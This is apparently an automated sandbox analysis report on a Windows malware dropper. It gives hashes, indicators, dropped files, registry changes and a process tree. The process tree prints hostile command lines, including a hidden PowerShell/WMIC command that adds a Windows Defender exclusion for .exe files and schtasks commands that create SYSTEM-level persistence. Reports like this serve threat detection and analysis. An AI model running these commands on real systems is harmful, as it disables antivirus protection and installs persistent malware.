Analysis
-
max time kernel
112s -
max time network
116s -
platform
windows11-21h2_x64 -
resource
win11-20240214-en -
resource tags
arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system -
submitted
06/04/2024, 05:04
Static task
static1
Behavioral task
behavioral1
Sample
be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe
Resource
win10v2004-20240226-en
General
-
Target
be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe
-
Size
8.2MB
-
MD5
92aa67edf209696aa858930249900d59
-
SHA1
8e4ce2fb83c251025d3621cefc14047e1a3fbab6
-
SHA256
be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34
-
SHA512
66689a55a1ae7843c7775aba5635b9209fa4337415cdb683de81993c929105de1a9249c44a16d19513c19951769d38e1d8771cab72f501dc77445adf89a923d6
-
SSDEEP
196608:91Oyhrfn90vjbQL0MZMFoENqo0C029v7CGQp0waHFbd3D5A:3O2rojkLwFo51ETCGa0wapdtA
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 18 1220 rundll32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2567984660-2719943099-2683635618-1000\Control Panel\International\Geo\Nation ZAYmpMn.exe -
Executes dropped EXE 3 IoCs
pid Process 3280 Install.exe 3744 RpecrhV.exe 1468 ZAYmpMn.exe -
Loads dropped DLL 1 IoCs
pid Process 1220 rundll32.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json ZAYmpMn.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json ZAYmpMn.exe -
Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini ZAYmpMn.exe -
Drops file in System32 directory 31 IoCs
description ioc Process File created C:\Windows\system32\GroupPolicy\gpt.ini RpecrhV.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F3258A5B11F1178F530EE7A0197D8F15 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 ZAYmpMn.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 ZAYmpMn.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 ZAYmpMn.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol RpecrhV.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F3258A5B11F1178F530EE7A0197D8F15 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_22265154E37786E06D33C3F357FE6306 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_4AAAE8DA7A12C7A50B5920DE5F0F0D15 ZAYmpMn.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 ZAYmpMn.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_155F6CC932BF304EF612DAA091EECD91 ZAYmpMn.exe -
Drops file in Program Files directory 14 IoCs
description ioc Process File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja ZAYmpMn.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\NqZJFnj.xml ZAYmpMn.exe File created C:\Program Files (x86)\qBvbbKpBU\fMBzRV.dll ZAYmpMn.exe File created C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\uiACHdU.dll ZAYmpMn.exe File created C:\Program Files (x86)\VDiAXGzPiWUn\wGYpoGo.dll ZAYmpMn.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak ZAYmpMn.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\wfpMVBzzxRqVP.dll ZAYmpMn.exe File created C:\Program Files (x86)\epUZFeichsCPC\dZtfBHO.dll ZAYmpMn.exe File created C:\Program Files (x86)\epUZFeichsCPC\RPQSZOW.xml ZAYmpMn.exe File created C:\Program Files (x86)\fZHZowTYSgfU2\hEkmblJ.xml ZAYmpMn.exe File created C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi ZAYmpMn.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi ZAYmpMn.exe File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak ZAYmpMn.exe File created C:\Program Files (x86)\qBvbbKpBU\CtbnUXn.xml ZAYmpMn.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File created C:\Windows\Tasks\bpJjqbWMDOjxkYrvBb.job schtasks.exe File created C:\Windows\Tasks\MWViHNuTpmRlpInKg.job schtasks.exe File created C:\Windows\Tasks\wbeMFPOaxEodGIM.job schtasks.exe File created C:\Windows\Tasks\BinjFlxHFUMMGNOij.job schtasks.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3760 schtasks.exe 3176 schtasks.exe 1732 schtasks.exe 2004 schtasks.exe 3204 schtasks.exe 4764 schtasks.exe 3264 schtasks.exe 2940 schtasks.exe 3512 schtasks.exe 4984 schtasks.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName Install.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS rundll32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName rundll32.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" rundll32.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ZAYmpMn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" ZAYmpMn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket ZAYmpMn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{0bf74aa2-0000-0000-0000-d01200000000}\MaxCapacity = "14116" ZAYmpMn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ ZAYmpMn.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 844 powershell.exe 844 powershell.exe 1496 powershell.exe 1496 powershell.exe 2244 powershell.exe 2244 powershell.exe 1772 powershell.EXE 1772 powershell.EXE 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 516 powershell.exe 516 powershell.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe 1468 ZAYmpMn.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 844 powershell.exe Token: SeIncreaseQuotaPrivilege 840 WMIC.exe Token: SeSecurityPrivilege 840 WMIC.exe Token: SeTakeOwnershipPrivilege 840 WMIC.exe Token: SeLoadDriverPrivilege 840 WMIC.exe Token: SeSystemProfilePrivilege 840 WMIC.exe Token: SeSystemtimePrivilege 840 WMIC.exe Token: SeProfSingleProcessPrivilege 840 WMIC.exe Token: SeIncBasePriorityPrivilege 840 WMIC.exe Token: SeCreatePagefilePrivilege 840 WMIC.exe Token: SeBackupPrivilege 840 WMIC.exe Token: SeRestorePrivilege 840 WMIC.exe Token: SeShutdownPrivilege 840 WMIC.exe Token: SeDebugPrivilege 840 WMIC.exe Token: SeSystemEnvironmentPrivilege 840 WMIC.exe Token: SeRemoteShutdownPrivilege 840 WMIC.exe Token: SeUndockPrivilege 840 WMIC.exe Token: SeManageVolumePrivilege 840 WMIC.exe Token: 33 840 WMIC.exe Token: 34 840 WMIC.exe Token: 35 840 WMIC.exe Token: 36 840 WMIC.exe Token: SeIncreaseQuotaPrivilege 840 WMIC.exe Token: SeSecurityPrivilege 840 WMIC.exe Token: SeTakeOwnershipPrivilege 840 WMIC.exe Token: SeLoadDriverPrivilege 840 WMIC.exe Token: SeSystemProfilePrivilege 840 WMIC.exe Token: SeSystemtimePrivilege 840 WMIC.exe Token: SeProfSingleProcessPrivilege 840 WMIC.exe Token: SeIncBasePriorityPrivilege 840 WMIC.exe Token: SeCreatePagefilePrivilege 840 WMIC.exe Token: SeBackupPrivilege 840 WMIC.exe Token: SeRestorePrivilege 840 WMIC.exe Token: SeShutdownPrivilege 840 WMIC.exe Token: SeDebugPrivilege 840 WMIC.exe Token: SeSystemEnvironmentPrivilege 840 WMIC.exe Token: SeRemoteShutdownPrivilege 840 WMIC.exe Token: SeUndockPrivilege 840 WMIC.exe Token: SeManageVolumePrivilege 840 WMIC.exe Token: 33 840 WMIC.exe Token: 34 840 WMIC.exe Token: 35 840 WMIC.exe Token: 36 840 WMIC.exe Token: SeDebugPrivilege 1496 powershell.exe Token: SeDebugPrivilege 2244 powershell.exe Token: SeDebugPrivilege 1772 powershell.EXE Token: SeDebugPrivilege 516 powershell.exe Token: SeAssignPrimaryTokenPrivilege 4840 WMIC.exe Token: SeIncreaseQuotaPrivilege 4840 WMIC.exe Token: SeSecurityPrivilege 4840 WMIC.exe Token: SeTakeOwnershipPrivilege 4840 WMIC.exe Token: SeLoadDriverPrivilege 4840 WMIC.exe Token: SeSystemtimePrivilege 4840 WMIC.exe Token: SeBackupPrivilege 4840 WMIC.exe Token: SeRestorePrivilege 4840 WMIC.exe Token: SeShutdownPrivilege 4840 WMIC.exe Token: SeSystemEnvironmentPrivilege 4840 WMIC.exe Token: SeUndockPrivilege 4840 WMIC.exe Token: SeManageVolumePrivilege 4840 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 4840 WMIC.exe Token: SeIncreaseQuotaPrivilege 4840 WMIC.exe Token: SeSecurityPrivilege 4840 WMIC.exe Token: SeTakeOwnershipPrivilege 4840 WMIC.exe Token: SeLoadDriverPrivilege 4840 WMIC.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4916 wrote to memory of 3280 4916 be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe 76 PID 4916 wrote to memory of 3280 4916 be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe 76 PID 4916 wrote to memory of 3280 4916 be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe 76 PID 3280 wrote to memory of 4164 3280 Install.exe 78 PID 3280 wrote to memory of 4164 3280 Install.exe 78 PID 3280 wrote to memory of 4164 3280 Install.exe 78 PID 4164 wrote to memory of 3428 4164 forfiles.exe 80 PID 4164 wrote to memory of 3428 4164 forfiles.exe 80 PID 4164 wrote to memory of 3428 4164 forfiles.exe 80 PID 3428 wrote to memory of 844 3428 cmd.exe 81 PID 3428 wrote to memory of 844 3428 cmd.exe 81 PID 3428 wrote to memory of 844 3428 cmd.exe 81 PID 844 wrote to memory of 840 844 powershell.exe 82 PID 844 wrote to memory of 840 844 powershell.exe 82 PID 844 wrote to memory of 840 844 powershell.exe 82 PID 3280 wrote to memory of 3512 3280 Install.exe 84 PID 3280 wrote to memory of 3512 3280 Install.exe 84 PID 3280 wrote to memory of 3512 3280 Install.exe 84 PID 3744 wrote to memory of 1496 3744 RpecrhV.exe 87 PID 3744 wrote to memory of 1496 3744 RpecrhV.exe 87 PID 3744 wrote to memory of 1496 3744 RpecrhV.exe 87 PID 1496 wrote to memory of 2896 1496 powershell.exe 89 PID 1496 wrote to memory of 2896 1496 powershell.exe 89 PID 1496 wrote to memory of 2896 1496 powershell.exe 89 PID 2896 wrote to memory of 4032 2896 cmd.exe 90 PID 2896 wrote to memory of 4032 2896 cmd.exe 90 PID 2896 wrote to memory of 4032 2896 cmd.exe 90 PID 1496 wrote to memory of 2544 1496 powershell.exe 91 PID 1496 wrote to memory of 2544 1496 powershell.exe 91 PID 1496 wrote to memory of 2544 1496 powershell.exe 91 PID 1496 wrote to memory of 4648 1496 powershell.exe 92 PID 1496 wrote to memory of 4648 1496 powershell.exe 92 PID 1496 wrote to memory of 4648 1496 powershell.exe 92 PID 1496 wrote to memory of 4304 1496 powershell.exe 93 PID 1496 wrote to memory of 4304 1496 powershell.exe 93 PID 1496 wrote to memory of 4304 1496 powershell.exe 93 PID 1496 wrote to memory of 3056 1496 powershell.exe 94 PID 1496 wrote to memory of 3056 1496 powershell.exe 94 PID 1496 wrote to memory of 3056 1496 powershell.exe 94 PID 1496 wrote to memory of 1492 1496 powershell.exe 95 PID 1496 wrote to memory of 1492 1496 powershell.exe 95 PID 1496 wrote to memory of 1492 1496 powershell.exe 95 PID 1496 wrote to memory of 4676 1496 powershell.exe 96 PID 1496 wrote to memory of 4676 1496 powershell.exe 96 PID 1496 wrote to memory of 4676 1496 powershell.exe 96 PID 1496 wrote to memory of 768 1496 powershell.exe 97 PID 1496 wrote to memory of 768 1496 powershell.exe 97 PID 1496 wrote to memory of 768 1496 powershell.exe 97 PID 1496 wrote to memory of 1932 1496 powershell.exe 98 PID 1496 wrote to memory of 1932 1496 powershell.exe 98 PID 1496 wrote to memory of 1932 1496 powershell.exe 98 PID 1496 wrote to memory of 2428 1496 powershell.exe 99 PID 1496 wrote to memory of 2428 1496 powershell.exe 99 PID 1496 wrote to memory of 2428 1496 powershell.exe 99 PID 1496 wrote to memory of 4508 1496 powershell.exe 100 PID 1496 wrote to memory of 4508 1496 powershell.exe 100 PID 1496 wrote to memory of 4508 1496 powershell.exe 100 PID 1496 wrote to memory of 904 1496 powershell.exe 101 PID 1496 wrote to memory of 904 1496 powershell.exe 101 PID 1496 wrote to memory of 904 1496 powershell.exe 101 PID 1496 wrote to memory of 1244 1496 powershell.exe 102 PID 1496 wrote to memory of 1244 1496 powershell.exe 102 PID 1496 wrote to memory of 1244 1496 powershell.exe 102 PID 1496 wrote to memory of 3760 1496 powershell.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe"C:\Users\Admin\AppData\Local\Temp\be834f7383c88aafc10cd9e84b35d6a93dc09bb2851eeab97307034ef3ffce34.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Users\Admin\AppData\Local\Temp\7zS49CA.tmp\Install.exe.\Install.exe /oudidd "385118" /S2⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"3⤵
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True4⤵
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:844 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:840
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:05:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\RpecrhV.exe\" Oz /mesite_idAhV 385118 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3512
-
-
-
C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\RpecrhV.exeC:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\RpecrhV.exe Oz /mesite_idAhV 385118 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3744 -
